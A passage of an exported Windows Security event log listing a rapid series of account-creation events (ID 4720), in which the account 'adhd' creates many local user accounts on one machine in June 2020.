Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Ronald - adhd - - - 4720 - 4201 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.3928860Z'/><EventRecordID>4201</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Steven</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1026</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Steven</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Steven - adhd - - - 4720 - 4195 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.3100051Z'/><EventRecordID>4195</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jacob</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1025</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jacob</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jacob - adhd - - - 4720 - 4189 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.2297279Z'/><EventRecordID>4189</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Howard</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1024</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Howard</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Howard - adhd - - - 4720 - 4183 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.1538353Z'/><EventRecordID>4183</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Teresa</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1023</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Teresa</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Teresa - adhd - - - 4720 - 4177 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:53.0395835Z'/><EventRecordID>4177</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Nicholas</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1022</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Nicholas</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Nicholas - adhd - - - 4720 - 4171 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.9548753Z'/><EventRecordID>4171</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Jennifer</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1021</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Jennifer</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Jennifer - adhd - - - 4720 - 4165 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.8714981Z'/><EventRecordID>4165</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Deborah</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1020</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Deborah</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Deborah - adhd - - - 4720 - 4159 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.7809702Z'/><EventRecordID>4159</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Amber</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1019</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Amber</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Amber - adhd - - - 4720 - 4153 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.6860206Z'/><EventRecordID>4153</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Nancy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1018</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Nancy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Nancy - adhd - - - 4720 - 4147 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.6116151Z'/><EventRecordID>4147</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Samantha</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1017</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Samantha</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Samantha - adhd - - - 4720 - 4141 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.5210305Z'/><EventRecordID>4141</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kimberly</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1016</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kimberly</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kimberly - adhd - - - 4720 - 4135 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.4398291Z'/><EventRecordID>4135</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Amy</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1015</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Amy</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Amy - adhd - - - 4720 - 4129 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.3342046Z'/><EventRecordID>4129</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Victoria</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1014</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Victoria</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Victoria - adhd - - - 4720 - 4123 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.2315533Z'/><EventRecordID>4123</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Barbara</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1013</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Barbara</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Barbara - adhd - - - 4720 - 4117 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.1594000Z'/><EventRecordID>4117</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>George</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1012</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>George</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - George - adhd - - - 4720 - 4111 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:52.0588218Z'/><EventRecordID>4111</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Amanda</Data><Data 